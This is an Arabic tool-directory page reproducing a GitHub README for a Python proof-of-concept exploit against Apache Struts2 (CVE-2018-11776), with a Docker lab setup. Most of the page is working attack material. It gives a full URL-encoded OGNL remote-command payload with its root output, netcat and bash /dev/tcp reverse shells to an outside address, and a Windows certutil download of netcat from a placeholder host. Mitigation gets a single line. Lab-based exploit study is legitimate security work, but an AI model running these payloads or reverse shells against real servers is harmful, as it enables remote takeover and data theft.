Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-11776-Python-PoC — اختبار Python عملي وإثبات المفهوم لـ CVE-2018-11776، يتضمن مختبر Docker | Kitploit
أدوات/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولاتمختبرات وتدريب عملي
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

اختبار Python عملي وإثبات المفهوم لـ CVE-2018-11776، يتضمن مختبر Docker

عرض المستودع
12349منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c)، @hook_s3c على تويتر

اختبار Python عملي وإثبات مفهوم لـ CVE-2018-11776، ظهر أصلاً على؛ https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

ما الذي يحدث؟

كشف مان يو مو من Semmle عن ثغرة RCE في Struts2، يتم تسليمها في حمولة مشفرة في مسار عنوان URL للطلب.

الإصدارات المتأثرة هي 2.3 إلى 2.3.34، و2.5 إلى 2.5.16.

التكوين الافتراضي ليس ضعيفًا، ولكن إذا تم تكوينه بشكل خاطئ... F.

إعداد مثيل docker الخاص بك

الاستغلال سيعمل بشكل جيد مع حاوية docker المصممة لـ cve-2017-5638 (struts2-showcase-2.3.12)

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

إعداد التكوين الضعيف

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

أضف التكوين أدناه؛

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

وكذلك؛

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

أعد تشغيل تومكات و/أو الحاوية

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

تحقق من أن الهدف ضعيف

اختبر عنوان URL لمعرفة ما إذا حدث إعادة توجيه وتقييم؛

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

مع سكريبت الاختبار؛

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

تنفيذ الأوامر PoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/HEAD/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

شل عكسي

جهز جهازك لاستقبال الشل العكسي؛

root@kitploit:~
$ netcat -lvp 31337

شغّل السكريبت؛

root@kitploit:~
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# now pop that shell 
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

استبدل 32771 بمنفذ الحاوية المكشوف

طريقة محدثة عبر Bash، الشرطة المائلة (forward-slash) مدعومة الآن.

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

شل عكسي لويندوز (غير مختبر)

root@kitploit:~
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

جحيم التصحيح (ملاحظات)

جميع الطلبات التي تحتوي على شرطة مائلة (/) ستفشل لأن تومكات يحظرها بنشاط، قد تحتاج إلى الالتفاف حول ذلك، على سبيل المثال باستخدام متغيرات البيئة لـ /bin/bash كـ $SHELL في المثال أعلاه.

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

مع أخذ ذلك في الاعتبار، فإن علامة windows /c لن تعمل كما هو متوقع. لقد اختبرت هذا فقط على حاوية docker.

تحديث

شكرًا لـ @Menin_TheMiddle على إظهار أنه يمكن حل مشكلة الشرطة المائلة، الكود الآن يدعم الشرطة المائلة وبالتالي أصبح الشل العكسي بدون netcat عبر bash ممكنًا الآن، كما يدعم الآن مثيلات Windows (غير مختبرة).

التخفيف

قم بتصحيح Struts الخاص بك، أو ببساطة لا تستخدمه.

أعتقد أنه يمكنك دائمًا بيع منتجات الاحتيال على الهوية إذا حدث اختراق وتم تسريب جميع تفاصيل عملائك! (أنت تعرف من أنت، أيها الحثالة المطلقة)

الاعتماد

شكرًا لـ؛

  • مان يو مو، Semmle للإفصاح عن الثغرة الأمنية (https://semmle.com/news/apache-struts-CVE-2018-11776)
  • piesecurity لمختبر Dockerfile ومثال حمولة OGNL (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • xfox64x للشرح عن الطريقة (https://github.com/xfox64x/CVE-2018-11776)
  • jiguang7 للاختبار (https://github.com/jiguang7/CVE-2018-11776)
  • @Menin_TheMiddle للشرح ووضعي في مكاني :) الكود الآن يدعم أخيرًا ويندوز وشل عكسي باش (https://www.secjuice.com/apache-struts2-cve-2018-11776/)

تحيات

تحية كبيرة لـ vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

تنزيل الأداة